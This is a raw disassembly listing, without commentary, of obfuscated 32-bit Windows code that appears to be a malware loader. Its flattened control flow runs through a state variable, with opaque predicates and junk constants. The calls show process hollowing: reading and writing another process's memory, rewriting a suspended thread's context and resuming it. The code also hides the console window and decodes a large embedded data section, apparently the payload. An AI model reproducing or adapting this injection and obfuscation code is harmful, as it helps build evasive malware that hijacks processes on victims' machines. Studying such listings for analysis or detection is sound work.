jmp 0x10005282
mov ecx, dword [0x10066938]
mov eax, dword [0x10066934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x52623b80
mov ecx, 0x87d10988
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov dword [ebp - 0x144], 0xc4f7d73b
jmp 0x10005282
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov dword [ebp - 0x144], 0xef8d6ce7
jmp 0x10005282
mov dword [ebp - 0x144], 0x14fc302e
jmp 0x10005282
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x144], 0x550fb4ea
jmp 0x10005282
mov dword [ebp - 0x144], 0x3e9adb42
jmp 0x10005282
mov eax, dword [ebp - 0x134]
add eax, 0x18
add eax, 0x1c
mov ecx, dword [ebp - 0x130]
mov ecx, dword [ecx + 0xa4]
xor edx, edx
sub edx, 8
sub ecx, edx
mov edx, dword [ebp - 0x24]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [ebp - 0x140]
add ecx, 0xc86385d0
add ecx, 8
sub ecx, 0xc86385d0
mov edx, dword [ebp - 0x24]
lea eax, [ebp - 0x6c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x134]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x130]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x74], eax
mov ecx, dword [0x10066938]
mov eax, dword [0x10066934]
mov edx, ecx
sub edx, 0x9db13cca
sub edx, 1
add edx, 0x9db13cca
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3448e806
mov ecx, 0xe47a2852
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov dword [ebp - 0x144], 0xb65f118f
jmp 0x10005282
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x144], 0x7952d812
jmp 0x10005282
mov eax, dword [0x10066938]
mov ecx, dword [0x10066934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaae4b2dc
mov ecx, 0x850085fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov eax, dword [0x10066938]
mov ecx, dword [0x10066934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaae4b2dc
mov ecx, 0xa2b0c234
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x10005282
mov dword [ebp - 0x144], 0x5c2b7839
jmp 0x10005282
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4c600
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x144], 0x1b28ad1d
jmp 0x10005282
mov dword [ebp - 0x144], 0x238853fe
jmp 0x10005282
lea eax, [ebp - 0x24]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.100064a0
add esp, 0xc
lea eax, [ebp - 0x68]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.100064a0
add esp, 0xc
mov dword [ebp - 0x144], 0xd352314d
jmp 0x10005282
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x120]
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x120]
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x144], 0xca33288e
jmp 0x10005282
mov eax, dword [ebp - 0x120]
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x144], 0xd13b0849
jmp 0x10005282
mov dword [ebp - 0x144], 0x99fb3847
jmp 0x10005282
mov dword [ebp - 0x144], 0x38d9e24a
jmp 0x10005282
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x144], 0xb51037f8
jmp 0x10005282
mov ecx, dword [ebp - 0x98]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x134]
mov eax, dword [eax + 0x34]
sub ecx, 0xb311fcf8
sub ecx, eax
add ecx, 0xb311fcf8
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov dword [eax], 0
mov dword [ebp - 0x144], 0xe642cd17
jmp 0x10005282
mov dword [ebp - 0x144], 0x850085fb
jmp 0x10002350